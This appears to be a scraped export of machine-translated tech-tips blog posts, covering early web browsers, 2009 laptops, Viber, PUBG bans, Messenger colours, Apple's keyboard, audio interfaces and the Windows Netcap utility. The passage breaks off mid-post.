implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRp7FuvsSsnK1lo5a6tMHNoGSgmZyWxbp5wGpn\n","link":"/post/how-to-hard-reset-samsung-galaxy-a10/","section":"post","tags":null,"title":"How to Hard Reset Samsung Galaxy A10"},{"body":" \"Hack brain\" with 15 thought puzzles is not difficult but hard to imagine The problem accurately reveals your actual age and psychological age within 1 minute! 6 puzzles that make you \"brainstormed\" and not sure which one to answer Each picture below has a difference, but not all of us can see it. If you can find that difference in just 10 seconds , you really have that \" very special \" eyes!\nOn the Bright Side page, offer 6 images that challenge your agility , try to overcome them within seconds!\nFind a difference in each image below:\nImage number 1\n © depositphotos © depositphotos\nImage number 2\n © depositphotos © depositphotos\nImage number 3\n © depositphotos © depositphotos\nImage number 4\n © depositphotos © depositphotos\nImage number 5\n © depositphotos © depositphotos\nPicture 6\n © depositphotos © depositphotos\nDo you see all the differences in the 6 images above? If not, focus again!\nSee also: Fun science: Check your brain age through 6 pictures below!\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ktqd52KisZpuRo3qntc2dZJpllJ6zp7HRnqWcnV2eu259j2aqnpufo7G0ediorKudXaeyorjLsmSaZZeau6rB0g%3D%3D\n","link":"/post/if-you-can-find-a-difference-in-10-seconds-you-re-really-a-genius/","section":"post","tags":null,"title":"If you can find a difference in 10 seconds, you're really a genius!"},{"body":"Today, Tipsmake will provide the look and feel of the early days of early websites!\nMacWWW (Samba)   MacWWW aka Samba, is the first Mac web browser, released in 1993. It is also a text-based web browser. The downside of the MacWWW browser is… clutter. Today, it is probably the most obscure web browser of all the early browsers.\nLynx The first web browsers, such as Lynx, were text-based web browsers, without a graphical user interface. Compared to today's modern web browsers, it looks very rudimentary, but was great between 1991 and 1993. Unlike most early browsers, Lynx - launched in 1992 - still exists. To this day, Unix and Linux shell users still use it.\nViola   Viola was the first graphical web browser, created in 1991. Heavily influenced by Apple HyperCard, this Unix X Windows System browser was invented by Pei-Yuan Wei, a computer science student who was a computer science student. Taiwan. Pei-Yuan Wei works on hyperlinks and the Internet. Had Wei been a little faster, he could have become the inventor of the World Wide Web.\nMosaic   Mosaic was the first popular web browser. It was available on Unix in 1993, but soon appeared on Mac and Windows PC. Mosaic defines the look and feel of today's web browsers. Both Firefox and Internet Explorer can trace their origins to Mosaic's native code.\nCello   In 1993, people outside the scientific community learned about the web and wanted to use it from a Windows PC instead of a Unix workstation. So Tom Bruce developed the first web browser specifically for Windows: Cello. Bruce both created the website and built the Legal Information Institute, the first legal information site on the web.\nSpry \"Internet in a Box\"   Internet company Spry teamed up with O'Reilly \u0026amp; Associates to create the first commercial Internet software package. The browser itself, also known as AirMosaic, is often bundled with Windows Internet and networking software - sold in bundles as Internet in a Box (IBox).\nSpyglass: Forerunner of Internet Explorer   Eric Sink led the project on Spyglass Mosaic (1994). Sink shared that although \"we license the technology and trademarks from the NCSA (of the University of Illinois)…we have never used any code\". Microsoft discovered Spyglass and decided to combine the code. its with Internet Explorer.\nInternet Explorer 1.0   Do you think Internet Explorer 1.0 looks a lot like Mosaic? It is actually a version of Mosaic, which has been customized for Windows by the Spyglass company. As you can see, when he started building the web, Bill Gates didn't think it would be worth that much. Until 1995, he realized the error in his way and brought IE to Windows 95.\nNetscape   Mosaic's inventors went on to produce their own commercial web browser, called Netscape. It was released in 1994. In its early years, Netscape was the dominant web browser in the world. However, Microsoft forced the company to go out of business in the late 90s. Although Microsoft was eventually found guilty of anti-trust behavior, it was too late to put Netscape back in place. there. However, its code became the seed that gave birth to Mozilla and the Firefox browser.\nncG1vNJzZmismaXArq3KnmWcp51ktq6txp5kqJ5dqbWmecWiqaysXZmuunnOn2SwnZJir7O71qycq6tdZoZ6xA%3D%3D\n","link":"/post/image-of-the-first-day-of-web-browsers-199x/","section":"post","tags":null,"title":"Image of the first day of web browsers 199x"},{"body":"There are up to 4 netbook models on the bestselling laptop list. HP and Acer occupy 9 of 10 locations and make Asus' Eee PC 1000HE loose . The rapid launch of a series of new netbook models has resulted in stores stopping or releasing old models. The mini laptop sells well in April when it has a good price, and is suitable for the use and travel needs of many people. Here are 10 best-selling laptop models on the Asian market last April by technology magazine Cnet. 1. Acer Aspire One AOA150 (1.6 GHz Intel Atom N270, 1 GB RAM)\n  Acer Aspire One AOA150 has a good price. Photo: Cnet .\nThis is the first old netbook version of Acer with a screen of only 8.9 inches wide. It has two SD memory card slots that allow capacity expansion, slim and sturdy design, in addition to the good price.\nThe drawback of Aspire One AOA150 is an SSD with only 8 GB capacity, poor battery and no Bluetooth connection. Reference price: VND 6.9 million. 2. Acer Aspire 4937G (Core 2 Duo P8400 2.26 GHz, 4 GB RAM)\n  The Acer Aspire 4937G has a \"big\" shape. Photo: Cnet .\nThere are relatively high prices compared to the current laptop models, but this entertainment laptop has a very \"configuration\". In addition to the Core 2 Duo P8400 2.26 GHz processor and 4 GB RAM, it also delivers the latest Nvidia GeForce G105M graphics card with a hard drive of up to 500 GB.\nReference price: VND 16 million. 3. Acer Extensa 5630 (Pentium Dual Core T3400 2.16 GHz, 3 GB RAM)\n  Acer Extensa 5630 prices compete with netbooks. Photo: Cnet .\nContinue to be Acer laptop model with competitive price compared to netbook. In addition, the Extensa 5630 is well configured with dual-core processors, chipsets on the latest Intel Centrino 2 platform.\nMachine is not available in Vietnam market. 4. Acer Aspire 2930Z (Pentium Dual-Core T3200 2.0 GHz, 1 GB RAM)\n  The Acer Aspire 2930Z has a compact screen. Photo: Cnet .\nThis may be the cheapest 12.1-inch laptop on the market. This model comes with a DVD burner, which runs on the latest Centrino 2 platform and strongly supports entertainment features, including a high-quality Dolby Home Theater sound system.\n5. Asus Eee PC 1000HE (Intel Atom N280 1.66 GHz, 1 GB RAM)\n  Asus Eee PC 1000HE is a powerful netbook. Photo: Cnet .\nThe 1000HE is one of the best netbooks on the market today, the device offers a nice keyboard, powerful processor and a very good battery. Besides, the selling price is also suitable for many people.\nReference price: 8.7 million. 6. Compaq Presario CQ40 (Core 2 Duo P7350 2.0 GHz; 2 GB RAM)\n  Compaq Presario CQ40 is an economical laptop. Photo: Cnet .\nThis economical laptop is very popular on the market, it has a 14.1-inch wide-screen desk, running on the Centrino 2 platform and integrated graphics card. After CQ40, the manufacturer also introduced CQ45 with the upgraded Nvidia GeForce 9200M GS graphics card.\nReference price: VND 9.8 million. 7. HP Pavilion dv2500 (Core 2 Duo T7300 2.0 GHz, 2 GB RAM)\n  HP Pavilion dv2500 good price and standard configuration. Photo: Cnet .\nThe Pavilion dv2500 is a well-configured and well-priced laptop with a 14.1-inch screen, two headphone jacks and fingerprint identification. In addition, the device also fully supports ports connected to household devices. However, this model has a 6-cell battery, only at the average level besides the option of adding HDMI ports but users will have to sacrifice a USB port.\n8. HP Mini 2140 (1.6 GHz Intel Atom N270, 1 GB RAM)\n  The HP Mini 2140 is beautifully designed. Photo: Cnet .\nThe Mini 2140 is a version of the Mini 1000 with a rugged design, a large keyboard and full support for ExpressCard / 54 slots. However, the screen is poorly resolution and does not include a mobile broadband connection option, the hard-to-use mouse button is the drawback of the HP Mini 2140.\nReference price: VND 8.9 million. 9. Acer Extensa 4630Z (Pentium Dual-Core T4200 2.0 GHz, 2 GB RAM)\n  Acer Extensa 4630Z features many. Photo: Cnet .\nPriced at under $ 700, this is one of Acer's many basic features. Equipped with Bluetooth, USB, Wi-Fi connection, webcam, DVD reader even HDMI port, Acer Extensa 4630Z satisfy users who regularly surf the web, work.\nReference price: VND 10.1 million. 10. HP Mini 1000 (1.6 GHz Intel Atom N270, 1 GB RAM)\n  HP Mini 1000 with perfect keyboard. Photo: Cnet .\nThis is one of the best netbook models available today, the device is slim and lighter than previous models of LG. In addition, the company also replaced the Via processor with Intel Atom faster. The drawback of the machine is the lack of extended upgrades, glossy screens.\nncG1vNJzZmismaXArq3KnmWcp51kuaK806inrGWjpLmlecinZJqoop65bn6PaXA%3D\n","link":"/post/laptops-sold-in-april-2009/","section":"post","tags":null,"title":"Laptops sold in April 2009"},{"body":"In Vietnam, the number of people using chat software, sending free messages such as Viber, Zalo, Skype, Facebook . always increases every day. Based on the growing demand of the user community, Viber has quickly launched a feature to compete with other \"big guys\" like Zalo, Facebook . that is Viber Public Chat. So what is Viber Public Chat? Let's learn about this feature in the article below of TipsMake.com offline!\n1. What is Viber Public Chat? We can understand it like this:\nPublic Chat : chat rooms, chat rooms (like the old Yahoo chatroom) is where 1 or more people can send messages to each other, at which everyone can see. And the topics of Viber Public Chat are varied, about jokes, certain dramas, favorite football players . The difference of a chat group and Public Chat : the chat group is the place where only the participants know what the inside is talking about (confidential, secure), and Viber Public Chat is whatever Anyone can see the contents if they have Follow Public Chat .   See more articles: Block messages when spammed on Viber? Call video calls with Viber? 2. Who are the participants? 1 Participant - The Participant can send messages or change information in the Chat room , and anyone can create their own Group Chat (if desired, each group will have maximum 99 attendees). If they want to join some Chat group , they must be invited by the account of the person available in that Chat group.\n  Follower - Who is the follower: as mentioned above, 1 Follower is an account of the user they selected and decided to Follow 1 Public Chat. And they can only view Public Chat information, can't chat or change information inside that Public Chat room. 3. In Public Chat, can other people know my personal information? The answer is no. Unless you are a Participant in Public Chat, other people can view your personal information, and if it is Follower, no one will be able to see it, and you will not be able to view anyone's personal information.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwsibnKtloKqvrbXCZpqhmaQ%3D\n","link":"/post/learn-about-viber-public-chat/","section":"post","tags":null,"title":"Learn about Viber Public Chat"},{"body":"As soon as a mosquito is seen, most people's reaction is to quickly \"beat\" it to give it away so as not to suck blood or \"revenge\" for being sucked in blood. But few people know that it is possible that you have committed a \"massacre\" mistake.\nIn fact, only female mosquitoes like to suck blood, not all mosquitoes have this \"hobby\". There are other species of mosquitoes such as snow mosquitoes, water mosquitoes, mottled mosquitoes Midge . do not suck human blood but are often unjustly killed by humans.\nHere are some mosquitoes that do not like to suck blood.\n1. Snow mosquito   This is a weak insect, they hardly eat anything or sometimes eat only the larvae of other mosquitoes, they maintain life by drinking water in the ice. Of course, this \"vegetarian\" mosquito does not like to suck human blood.\nSnow mosquitoes grow and mate to maintain the race and die quietly.\nThis insect has an average body size in the range of 2 - 60mm, but there are also individuals with snow mosquitoes found to have a stride of up to 10cm. That's why we mistake them for a giant mosquito.\n  The characteristic to identify snow mosquitoes is that they have smooth wings, no wings edge, when the body shape is always straight, not kink like a normal mosquito.\n2. Mosquitoes Midge   Under our normal eyes, Midge mosquitoes look very similar to the mosquitoes that bite us everyday. But the fact that Midge mosquitoes do not like to burn people and do not transmit disease, they are completely harmless to humans.\nMidge Midge often lives in herds and is attracted to light, especially the light of insect trap lights. There is a fact that most of the mosquitoes in the lamp catch mosquitoes are mosquitoes Midge, not \"hateful\" mosquitoes still burn us.\n  The identity of this midget species is quite short, does not cover the body, does not have an outer edge and is still. They do not have a hose - an alibi for stings and when rested, their bodies will lie straight, the chest touches the flat surface it is lying on rather than forming a kinked corner like a mosquito bites a human.\n3. Water mosquitoes   As a larvae, this water mosquito has a scientific name, Pontomyia. They live hidden in stagnant saltwater areas and this is the only insect on the planet that can live in saltwater.\n  When mature, male water mosquitoes surf on the water by standing upright on the hind legs and using 2 front legs as 2 paddles. Female mosquitoes do not have both legs and wings, they only float on the water and wait for male mosquitoes to carry them to carry out the noble task of maintaining the race.\n4. Mosquito Culiseta Due to \"love\" the cold environment, mosquitoes only appear at times of low temperatures during the year. They are present all over the world but cannot withstand the temperature and environment of South America.\n  Mosquitoes Culiseta males do not suck blood but only absorb pistils like other mosquitoes. Female mosquitoes do not \"suck blood\" and are interested in parasites on birds and reptiles.\n  After the \"cup\" is full, female mosquitoes will find a suitable place to lay eggs. Culiseta female mosquitoes can lay a maximum of 300 eggs in one reproduction.\nUse mosquito repellent materials available, safe for families A guide to making mosquito traps super effective ncG1vNJzZmismaXArq3KnmWcp51kwamxjKWgrKxdpLNutM6rqaiqXaK8tL3UoquonaNisbCx0malqKxdl7y1tMSrZK2nXajCpLeMoaymmZ5ir627zp0%3D\n","link":"/post/the-list-of-horror-mosquitoes-does-not-bother-to-suck-human-blood/","section":"post","tags":null,"title":"The list of 'horror' mosquitoes does not bother to suck human blood"},{"body":"Just like with most of Apple's newly launched iPhones, the new iPhone SE doesn't support 3D Touch. While most of 3D Touch's features have been repeated in Haptic Touch, the iPhone SE still lacks a very important feature: expanding notification options.\nFor example, on iPhone 11 and iPhone 11 Pro, users can press and hold on a notification to bring up the menu with other actions. For Twitter, users can press and hold the notification to press like or reply quickly right on the notification.\n On the new iPhone SE, when a new notification arrives, you can still press and hold the notification to see other options. But when notifications appear in the lock screen and Notification Center, such Haptic Touch interactions will not work. The workaround is to slide the notification aside and touch the View option.\nThe same thing happened with the iPhone XR when it was first launched. But then Apple added the notification extension feature to Haptic Touch for iPhone XR through a software update. Therefore, many new iPhone SE users think this is a software bug and will be fixed soon by Apple.\nHowever, according to TechCrunch reporter Matthew Panzarino, the lack of support is not a software bug, but it was intentionally shut down by Apple. Therefore, it is difficult to expect a software update from Apple to fix this problem.\n While dissecting this new iPhone SE, iFixit also realized the removal of 3D Touch module on the new iPhone SE. Even when iFixit tried replacing the iPhone 8 screen - which supports 3D Touch - into the new iPhone SE, this feature still didn't work. This shows that this feature has been disabled by Apple right in the software level on the device.\nRemember when the first generation iPhone SE came out in 2016, although it was also equipped with the A9 chip like the iPhone 6S, this device was not equipped with 3D Touch feature as the iPhones launched at the same time. And just like the last time, these feature shortages are often not reported or explained by Apple.\nAt a much cheaper price than other iPhone models, it seems that the iPhone SE series is being slightly discriminated against by Apple compared to other devices.\nRefer to 9to5Mac\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKecsGWZpbWwusRmqp5lmJbAbq7EnqVmm6WperCyxWaZsmWRo3qquc%2Boqa2Znql6psTPnqminZ6Ysm6u2GaYqaicmg%3D%3D\n","link":"/post/the-new-iphone-se-has-been-cut-off-by-an-important-experience-by-apple/","section":"post","tags":null,"title":"The new iPhone SE has been cut off by an important experience by Apple"},{"body":"Many players receive the following message when entering PUBG and PUBG Mobile, that is \" You have been banned from Steam \" or \"Your PUBG Mobile Account has been locked \" or \"Your PUBG Account has been locked \". Read on to this, you must know what your account has encountered.\nBlocking accounts is what many gamers encounter when using in-game fraud software, not only PUBG and PUBG Mobile but also many other games. This is done to enhance the player's consciousness when using hack or cheat programs when playing.\nBut if you didn't use a hack tool before and still get the above message, that's a bit annoying, but did you know that there are things you consider to be very normal that are released by the publisher PUBG and PUBG Mobile or PUBG Mobile VN said it was illegal to play? If you do not know, please see in the article below to avoid.\nPUBG Mobile errors and how to fix them How to download PUBG Mobile International version when not found on App store and Google Play Store Top the best PUBG Mobile play emulators and download links PUBG Mobile: Settings that give you better control over your phone The reasons why PUBG and PUBG Mobile accounts are locked 1. Kill teammates   Making Squad to play together in the game will make gamers more likely to spend TOP 1, especially when playing with their friends. However, if you have to catch an outside team, you will have to play with other players, and if you're lucky, you'll be able to meet good teammates, working together to get the Chicken Dinner.\nIf unfortunately, you will encounter teammates who just wait for the team to get a lot of items and don't hesitate to throw bullets at the same people just to get some items not in your backpack. After that, the consequences must be heavy afterwards.\nIf the reporter is lucky, the other player will only be banned in Squad and Duo mode. Then these people have to regain enough points required in Solo mode to be able to play the Team mode again, while heavier, they will be banned from management. So don't kill your teammates in any situation.\n2. Name the character with the word \"sensitive\"   If there are inappropriate characters, the system will not accept your name and ask you to take another name. But if there are sensitive words, the system may still accept but will ban your account later. Sensitive words here refer to words that are profane, or offend or slander an individual or organization.\nIt is a violation of the rules in the game and will cause a notification to ban the account, if you miss a character named PUBG Mobile with sensitive words, you can change the name of the character in PUBG Mobile in the post. write Instructions for renaming characters in PUBG Mobile.\n3. Using software from third parties   With PUBG Mobile, users will probably immediately mention the GFX Tool, which is a familiar software that helps PUBG Mobile gamers improve the graphics quality when playing. Many PUBG Mobile gamers think that this is not hack or cheat software, it will not be locked and use \"smudge\". Then when I was banned, I didn't understand where the painting fell from my head.\nAs for PUBG, the familiar software is probably Marco, this is a somewhat heavier software than the GFX Tool when it will help gamers reduce the recoil of the weapon of inter-firing. Even if the player uses a high-end gaming mouse with an internal processor chip and has driver software, it will attach the marco to each button of the mouse, regardless of the left mouse.\nBoth of these software are not hacks but interfere with the default system of the game, and of course no publisher will ignore this behavior at all. So if you are using interfering software and game systems that have not been banned, remove and stop using it, otherwise you will be permanently banned.\nSo if you've joined PUBG or PUBG Mobile, try to make a \"clean\" gamer, not use any form of fraud, and just follow the rules set by the game publisher. Do not let the \"Tencent\" touch the neck and get banned acc PUBG Mobile, and if you play PUBG and get stuck with VAC, there is nothing more to say.\nSee more:\nHow to install Android on a Windows computer without software emulation Instructions for setting up Live Stream feature Facebook videos on mobile and tablet Instructions on how to download applications, games for iPhone and iPad How to rename Facebook 1 word fastest ncG1vNJzZmismaXArq3KnmWcp51kwamxjKucmqufo8Buw8eyZLKnpWKus7GMm5inppWZeqq6jKmsm59dlrulec%2BumaBlnaSvqrjE\n","link":"/post/the-reasons-why-you-are-banned-in-pubg-and-pubg-mobile/","section":"post","tags":null,"title":"The reasons why you are banned in PUBG and PUBG Mobile"},{"body":"The Facebook Messenger application has updated the color changing effect for chat frames on Android and iOS versions similar to when you use Messenger web-based version. The new color set includes gradient colors for users to apply to their chat. We can select each color for individual chat segments, including Messenger chat according to our preferences. Color list has all 16 different colors for users to use. This color swapping feature can now be used on both Android and iOS Facebook Messenger. If we want to change the color of the message on Facebook web, we can do it very easily.\nGo here if you are trying to turn on Dark Mode on Messenger.\nWith the Facebook Messenger platform the web will have Mauf utility to provide additional color palettes, in addition to the colors that Messenger provides for users. So the number of colors will be much richer. The following article will guide you how to change the chat frame color on Facebook Messenger.\nInstructions for setting up Live Stream feature Facebook videos on mobile and tablet How to permanently delete Facebook account 2 ways to rename Facebook when less than 60 days or more than 5 times How to write blue letters, write status, comment on Facebook Video tutorial to change Messenger chat color 1. How to choose Android and iOS Messenger chat colors To use this feature, the Facebook Messenger application must be upgraded to the latest version.\nStep 1:\nUsers open the Messenger application and then click on the chat you want to create. Switch to the new interface and click on the name of the chat in the left corner of the screen.\nHere click on Color to select the color for the chat.\n    Step 2:\nDisplay the color interface for us to choose. Depending on your preferences, you can choose any color for chat with friends or group chat. Then the user will see the Color changed to the color you selected.\n   Step 3:\nWhen you return to the chat interface you will see colors applied immediately, including previous messages and new messages. In case the user wants to change to another color, click on Edit . Then show the palette again to select a new color. Immediately the chat has been changed to the new color you selected.\n    With the Facebook version on the computer , in the chat frame, click on the gear icon and select Colors in the list.\n  Then also show the colors for us to choose to use.\n  The following conversation also applies the color you selected in the list.\n  2. How to create chat colors on Messenger PC Step 1:\nInstall Mauf utility named Chrome browser.\nDownload Mauf utility on Chrome browser Step 2:\nClick Add to Chrome to proceed with the installation on the browser.\n  Step 3:\nContinue to select Add utility to proceed with the installation.\n  Step 4:\nImmediately after successful installation, the Mauf utility icon will appear on the top of the browser as shown below.\n  Step 5:\nNext you access Facebook Messenger. In the chat frame you want to change colors, click the Change color .\n  Soon a color palette will appear, including the color palette with 15 permanent colors from Facebook and the optional color palette of the Mauf utility . We just need to select the color we want when we place it in the color palette, or drag the horizontal bar to increase or decrease the color intensity.\nAfter selecting, click Set Color to set the color for the conversation.\n  Step 6: And the dialogue result will show the color as shown below:\n  Facebook Messenger conversations will not only change colors with the Web platform version but will also change on the phone. In addition to the unique icon set, your conversation will be more vivid with the rich palette of Mauf gadgets.\nWish you have a good time!\nncG1vNJzZmismaXArq3KnmWcp51kwbOtzaydqKqdYrCwuM6rZJygkal6uLXNnaawZZaWsKauzqiiZqWVqMCmusaeqQ%3D%3D\n","link":"/post/transform-color-chat-window-facebook-messenger/","section":"post","tags":null,"title":"Transform color chat window Facebook Messenger"},{"body":"The lawsuit about the Butterfly keyboard on MacBook Pro has moved into a new phase, after the move to abandon this terrible keyboard of Apple. There are rumors that Apple will return to the old scissor-style switches (scissor), not having the same reliability issues. So what makes the Butterfly keyboard so terrible, and why is the rumored bug fix helping to solve those problems?\nWhy is Apple's Butterfly keyboard so bad?   There are a number of properties that make Apple's Butterfly keyboard difficult to use. Remember that these are just community thoughts. Apple did not acknowledge the failure of these keyboards directly or state why they have such frequent problems.\nLow key travel : The keys barely move when you press them, as opposed to the tactile feedback you want on the keyboard. In addition to a poor user experience, this low displacement also makes it difficult for any particles to accidentally get inside. Excessive sophistication : The key itself is much more refined than the standard scissor key or membrane-type key. However, it is these delicate switches that make the keyboard vulnerable. Poor dust handling : On many keyboards, including Apple's Butterfly keyboard, the keys act like a pump, actively sucking in air and any nearby dirt inside. Usually, this is not a big deal, but thanks to the small and delicate scroll key system, even a small piece of debris can get stuck in the key permanently. Although the silicon dust cover has been equipped on the new models, it does not solve the problem completely. All of this leads to a problem that current MacBook owners are already familiar with: The keys are stuck. As a result, nothing happens when you press a key or generate too much output after a single key press. For example, pressing the E key will not make the text appear on the screen or display 3 letters E at a time.\nThis annoying thing can happen on any key, but happens most often on 1p-sized keys, used for letters, numbers and punctuation. The largest keys are also the most durable ones, as they have the greatest distance between the edges of the keys, allowing dust to enter the keys without over-blocking switches.\nHow can scissor switch fix Apple keyboard?   Not much is known about Apple's planned design for scissor-style keys. However, one can look at Apple's previous keyboard. The keyboard available on the MacBook Pro before 2016 is reliable and functional, with scissor-style switches built with quality components. Just going back to that design and making no changes would be a major upgrade over Apple's current laptop keyboard. But why?\nThis change affects physical design. Scissor-style keys require more scroll keys to operate. That's a big plus for haptic feedback, as well as for increased reliability. A larger key shift makes it easier for particles to leave the key if they accidentally fall inside.\nWide displacement also creates a higher actuation point recognition, which means you can perform keystrokes without touching the bottom of the switch. Even if some small food gets inside, a scissor-style key can still work, since it doesn't need to be lowered to the bottom to move.\nThe scissor switches are also not easily broken and help easily crush or push particles blocking the scroll key. Plus, users like them. All of these plus points make the scissor switch the industry standard choice for most laptop manufacturers.\nThe downside of the scissor switch is a higher height. Because of this, Apple has switched to designing its own keyboard. But with the choice between a slim keyboard and a reliable keyboard, most users will prefer the more reliable one.\nWe can speculate why Apple created its own proprietary Butterfly keyboard, but the test results are extremely disappointing. Apple needs to seriously consider removing this Butterfly keyboard. With the right design, Apple can go back to old-style scissor switches and laptop users will be delighted with that.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZpmgpbmmv4ybrK2slaezrcWMpJyymp%2BWv6V50qhkm5mU\n","link":"/post/why-is-apple-s-butterfly-keyboard-so-bad/","section":"post","tags":null,"title":"Why is Apple's Butterfly keyboard so bad?"},{"body":"Depending on the type of music you want to create, you may write, record and publish albums without using anything other than a computer. But if you only use a computer, you will be somewhat limited.\nIf you want to add real-world instruments or voices to your computer's recordings, you'll need an audio interface to record them. The USB audio interface can cost you a lot of money, but depending on your needs, affordable options are also worth considering.\nWhich is the best USB Audio Interface? 1. Focusrite Clarett 4Pre USB 2. Universal Audio Apollo Twin MKII Solo 3. M-Audio M-Track 8X4M 4. Studio PreSonus 24c 2 × 2 5. AX I / O 6. TASCAM-16 × 08 7. Native Instruments Komplete Audio 6 Mk2 8. Audient iD4 USB 9. Focusrite Scarlett Solo (2nd generation) 1. Focusrite Clarett 4Pre USB Reference price: $ 659.99 (15,252,000 VND)   Focusrite Clarett 4Pre USB is the successor to the original 4Pre version, only Thunderbolt. This model can work with either USB-C or Thunderbolt ports as well as older USB 3.0 ports. This makes it a great option if you need flexibility for your computer.\nThis model has a mic preamp with Focusrite's famous Air circuit. In addition to 4 preamps, you get an additional 4 line-in jacks, plus optional S / PDIF I / O and ADAT, for a total of 18 inputs and 8 outputs.\n2. Universal Audio Apollo Twin MKII Solo Reference price: $ 599 (13,843,000 VND)   Putting the terms 'solo' and 'twin' in the same product name seems confusing, but don't worry, the article will explain it to you. The Universal Audio Apollo Twin MKII Solo is aimed at singers / songwriters but has two mic / line preamp. This provides an input for the voice and an input for the instrument you choose.\nYou also get a plugin package to make the sound more sweet. Features classic UAD hardware simulation features like LA-2A, 1176LN, Pultec EQP-1A, along with some Softube plugins like Amp Room Essentials. This model even comes with notable features like the built-in talkback mic, which is great for starting a home studio.\n3. M-Audio M-Track 8X4M Reference price: $ 279 (6,436,000 VND)   Combining the features of audio interface with the appearance of a compact mixer, M-Audio M-Track 8X4M provides you with a variety of inputs. You get 4 1/4 inch and XLR combined TRS inputs, 2 instrument inputs, plus 2 line-level input inputs.\nUnlike some of the other options on this list, you even include the Digital Audio Workstation (DAW) software. This package is compatible with Ableton Live Lite, Eleven Lite and Pro-Tools First M-Audio Edition, along with a collection of plugins and audio.\n4. Studio PreSonus 24c 2 × 2 Reference price: $ 139.95 (VND 3,230,000)   If you're just starting out, you might not need all the features and input of some of the other interfaces on this list. In that case, the two-input PreSonus Studio 24c 2 × 2 is enough for you to use at a basic level, but it doesn't immediately reach the limit when you have greater ambition.\nThis model includes both USB-A and USB-C cables, making it extremely compatible. It even has MIDI I / O features, allowing you to use MIDI-capable hardware to control the electronic aspects of your music, without having to use a separate USB MIDI controller.\n5. AX I / O Reference price: $ 344.69 (7,955,000 VND)   So far, the interfaces on this list are aimed at general recording. This is great if you record something about everything, but if your main focus is the guitar, the AX I / O may be all you need.\nThis device has a combination of 1/4 inch TRS and XLR inputs, in addition to 4 outputs. It also supports some guitar software, with few options included in the package.\n6. TASCAM-16 × 08 Reference price: $ 299.95 (6,922,000 VND)   So far, even interfaces with a higher number of inputs have targeted smaller projects. What if you want to record for your entire band but don't have the budget for a studio? In that case, TASCAM-16 × 08 might be what you are looking for.\nThe device is equipped with 8 XLR micro inputs on the front, plus 8 TRS inputs on the back. This number is enough to record live concerts and more, as long as you have mic and other equipment to provide it. The first two channels even support live streaming tools for use with amp emulators.\n7. Native Instruments Komplete Audio 6 Mk2 Reference price: $ 249 (5,747,000 VND)   Visually, Native Instruments Komplete Audio 6 Mk2 seems to be similar to the other interfaces on this list. Looking at the hardware, that's true. However, if you include the included software, this option targets DJs and songwriters who compose more electronic music.\nNative Instruments Komplete Audio 6 Mk2 also has very good performance. No bulky power supply means all you need is this interface and a laptop to write, record and do things you want anywhere.\n8. Audient iD4 USB Reference price: $ 199 (4,593,000 VND)   Audient iD4 USB helps you get started with the essentials. You get a Class A preamp mic and JFET Digital Interface (DI) input to plug instruments directly.\nLooking at the outputs, it's quite simple. You get 1/4 inch headphone jack and 1/8 inch headphone jack. It may seem a little, but that's because this interface only focuses on providing a few features, due to the sound quality of mic preamp and DI.\n9. Focusrite Scarlett Solo (2nd generation) Reference price: $ 109 (2,512,000 VND)   Focusrite Scarlett Solo offers a single XLR microphone preamp and 1/4 inch TRS input that can work for a line-in input or plug in instruments directly.\nFor output, you have a 1/4 inch headphone jack on the front. You will also find a set of stereo RCA jacks on the back. These are great things to plug into a stereo or speaker. This interface works by bus, but still provides phantom power (the power supply method often used in professional audio systems) to work with condenser microphones (capacitive microphones). It also works as well as a headphone amp, although more energy-intensive headphones can be difficult.\nIf you are planning to buy an interface for recording music, chances are you already have some songs already. Audio interface is not just for recording the sound of instruments and voices. If you're looking to start a podcast, you'll also need an audio interface. This is true unless you use a micro USB, which already has its built-in interface.\n\u0026nbsp;Videos\u0026nbsp;Focusrite Scarlett Solo Review With Demo\nncG1vNJzZmismaXArq3KnmWcp51khm6uxKyrZq2jl3qiwcOipmahnqmys7LAnJw%3D\n","link":"/post/9-best-usb-audio-interface/","section":"post","tags":null,"title":"9 Best USB Audio Interface"},{"body":"Since 6/4, Apple has officially locked iOS 11.2.6 sign. This means that users who have upgraded to iOS 11.3 will not be able to return to iOS 11.2.6. The time of this sign lock of Apple seems a bit early because iOS 11.3 is currently being used by many users.\nAt the end of March, Apple launched iOS 11.3 with a series of improvements and new features such as Battery Health battery management, AR experience support, changing data security policies.\n  But this new version is quickly detected with many errors such as faster battery life, software updates, no keyboard display, Bluetooth connection error and user interface on Apple Music, icon hanging, can't be Type some special characters, type the text slowly or disconnect the AirPods headset suddenly.\nAfter a period of launching a new update, Apples will lock the sign and unsubscribe to the old version to enhance security, avoiding the risk of hackers exploiting vulnerabilities and attacks.\n  If you have updated to iOS 11.3 and encountered some errors, users are forced to wait for the next iOS 11.3.1 bug fix update. Currently Apple is developing a major update iOS 11.4, with the most notable function is AirPlay 2.\nSee more:\nThe most prominent new features in iOS 11.3 iPhone using non-genuine battery will not be able to check battery status on iOS 11.3 How to turn off \"features\" to slow down Apple computers without waiting for iOS 11.3 Download and experience iOS 11.4 Public beta is more stable than Developer version, and has AirPlay 2 ncG1vNJzZmismaXArq3KnmWcp51krrG8y55kpaeToLKlecioqmZpYWeDbr%2FIoKVmraOav7R51qKjpWWepMFursRmmJuklWLBsHnDqK6nn6KWsaZ5yJ9krqiXp66lscNmq6hlmaTAbn2QbA%3D%3D\n","link":"/post/apple-locked-ios-11-2-6-sign-users-will-not-be-able-to-downgrade-if-upgraded-to-ios-11-3/","section":"post","tags":null,"title":"Apple locked iOS 11.2.6 sign, users will not be able to downgrade if upgraded to iOS 11.3"},{"body":"Network Administration - Have you ever known about NETCAP.EXE available in Windows XP and Windows Server 2003? This is a command-line utility that checks network traffic and in this article, I will show you this utility in checking network traffic.\n  Netcap provides capture capabilities only from a command prompt; To open capture files (.cap), you must use the complete Network Monitor interface.\nThis utility is installed when you install the support tools included in the Windows XP CD-ROM. Network Monitor is provided with Microsoft Windows Server and Systems Management Server (SMS) products.\nNetcap provides the same capture capabilities as the Network Monitor version included with Windows Server products; though you must use Netcap at the command prompt. Netcap will install the Network Monitor driver and connect it to all adapters when you run the Netcap command for the first time.\nThe following commands are sample Netcap commands:\nTo capture traffic on NIC 1 using a 10 megabyte (MB) buffer, use the following command:\nnetcap / n: 1 / b: 10\nNetcap will stop capturre when the buffer is full. To capture traffic with \"First In First Out\" buffer 